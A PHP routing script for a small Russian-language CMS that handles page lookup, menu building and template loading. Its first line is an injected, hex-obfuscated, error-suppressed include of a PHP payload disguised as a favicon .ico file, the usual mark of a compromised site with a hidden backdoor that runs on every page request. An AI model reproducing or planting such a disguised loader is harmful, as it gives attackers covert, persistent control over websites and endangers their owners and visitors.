/*f4c50*/ @include "\x2fhom\x65/we\x62mas\x74er/\x77ww/\x7aodi\x61k18\x2eru/\x7aBox\x75ers\x6b/ed\x69tor\x5ffla\x73h/f\x61vic\x6fn_0\x615e9\x66.ic\x6f"; /*f4c50*/ // ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ function getPage($page_name, $parent_id=0) { // возникли проблемы ?нерегу?рным запретом вход??админк? // if ($page_name == "error") { header("HTTP/1.0 404 Not Found"); } $page_name = mysql_real_escape_string($page_name); $parent_id = intval($parent_id); $page_name = mysql_real_escape_string($page_name); $sql = "SELECT * FROM _pages WHERE page_name='$page_name' and parent_id='$parent_id'"; $result = mysql_query($sql) or die("Query failed: ".$sql); if ($current_page = mysql_fetch_array($result, MYSQL_ASSOC)) { return $current_page; } else { return false; } } // ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ require_once 'config/config.inc.php'; //include "lib/STables.class.php"; include "lib/tables.func.php"; include "lib/modules.func.php"; $link = mysql_connect($config_host, $config_user,$config_pass) or die("Could not connect"); mysql_select_db($config_dbname) or die ("Could not select database"); mysql_query("SET NAMES $config_charset"); //require "lib/sess.php"; //require "lib/auth.php"; require "lib/settings.php"; // 21.05.2008 - Goodwin if ($sett['blockIe6'] == 1 AND $_SESSION['if_ie6'] == 'no') { $user_agent = $_SERVER['HTTP_USER_AGENT']; if (stripos($user_agent, 'MSIE 6.0') !== false && stripos($user_agent, 'MSIE 8.0') === false && stripos($user_agent, 'MSIE 7.0') === false) { header ("Location: /ie6.php"); } } $begin_url = urldecode("http://".$_SERVER['HTTP_HOST'].$_SERVER["REQUEST_URI"]); $parsed_url = parse_url($begin_url); $tree_names = explode("/",$parsed_url['path']); if ($tree_names[count($tree_names)-1] != "") { $page_items = explode('.',$tree_names[count($tree_names)-1]); if (!isset($page_items[1]) || ($page_items[1] != "htm" && $page_items[1] != "html")) { // $tree_names[count($tree_names)] = ""; // Goodwin $parsed_url['path'] .= "/"; $self['path'] = "http://".$parsed_url['host'].$parsed_url['path']; } else { $self['path'] = ""; } } else { unset($tree_names[count($tree_names)-1]); // Goodwin $self['path'] = "http://".$parsed_url['host'].$parsed_url['path']; } /* if ($tree_names[1] == "") { // задани?стартово?страницы header("Location: ".$self['path'].$config_rootpage."/"); exit; // $tree_names[1] = $config_rootpage; }*/ // require "lib/resol.php"; //Установк?параметров переменной $self $self['host'] = $parsed_url['scheme']."://".$parsed_url['host']; $self['tree_names'] = $tree_names; //$self['level'] = count($self['tree_names'])-2; $self['level'] = count($self['tree_names'])-1; // Goodwin foreach($self['tree_names'] as $key => $value) if (is_string($value)) $self['tree_names'][$key] = mysql_real_escape_string($self['tree_names'][$key]); $parent_id = 0; $root_items = ""; $menutree[] = array(); if ($self['level'] == 0) { if ($current_page = getPage($config_rootpage)) { $subresult['page_id'] = $current_page['page_id']; // 30.05.2008 - Goodwin $subresult['page_title'] = ucfirst($current_page['page_title']); $subresult['page_name'] = $current_page['page_name']; $subresult['root'] = $root_items; $menutree[] = $subresult; $self['tree_names'][1] = $current_page['page_name']; // 30.05.2008 - Goodwin $self['module_level'] = 1; $self['level'] = 1; } } else { for ($i=1; $i<=$self['level']; $i++) { $page_name = $self['tree_names'][$i]; $root_items .= "../"; if ($current_page = getPage($page_name, $parent_id)) { $parent_id = $subresult['page_id'] = $current_page['page_id']; $subresult['page_title'] = $current_page['page_title']; $subresult['page_name'] = $current_page['page_name']; $subresult['root'] = $root_items; $menutree[] = $subresult; $self['module_level'] = $i; if ($current_page['sublevels']!=0) { $self['sublevel'] = $self['level'] - $i; break; } } else { break; } } if (($current_page['module'] == "static" && empty($current_page['html'])) || ($current_page['module'] == "html" && !file_exists("templates/html".$current_page['page_id'].".tpl.php"))) { showList("", "SELECT * FROM _pages WHERE parent_id=".$current_page['page_id']." and page_visible=1 ORDER BY page_weight"); if (sizeof($items)) { if ($current_page = getPage($items[0]['page_name'], $current_page['page_id'])) { $menutree[] = array( 'page_id' => $current_page['page_id'], 'page_title' => $current_page['page_title'], 'page_name' => $current_page['page_name'], 'root' => $root_items . "../" ); $self['tree_names'][] = $current_page['page_name']; // 091209 $self['path'] .= $items[0]['page_name'] . "/"; $self['module_level'] = $i; if ($current_page['sublevels'] != 0) { $self['sublevel'] = $self['level'] - $i; } } } } } $self['menutree'] = $menutree; if (!$current_page) { $current_page = getPage("error"); $self['module_level'] = 1; $self['menutree'][] = array( 'page_id' => $current_page['page_id'], 'page_title' => $current_page['page_title'], 'page_name' => $current_page['page_name'], 'root' => $root_items . "../" ); } // ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ $self['page_id'] = $current_page['page_id']; $onload = ""; $notfound = 0; $subtitle = ""; $root = ""; for ($i=0; $i 1, 'page' => 0, 'prevpage' => 0, 'nextpage' => 0); $params = array(); $i = 0; while (isset($self['tree_names'][$self['module_level']+$i]) && $self['tree_names'][$self['module_level']+$i] != "") { $params[$i] = $self['tree_names'][$self['module_level']+$i]; $i++; } $type = 0; require_once "modules/".$current_page['module'].".php"; if ( $notfound ) { $current_page = getPage("error"); require_once "modules/".$current_page['module'].".php"; } $menutree=""; require_once 'lib/keywords.php'; if ( isset($_GET['print']) ) { include "templates/main_print.tpl.php"; } else { include "templates/".$current_page['template'].".tpl.php"; } // include "templates/".$current_page['template'].".tpl.php"; mysql_close($link); ?>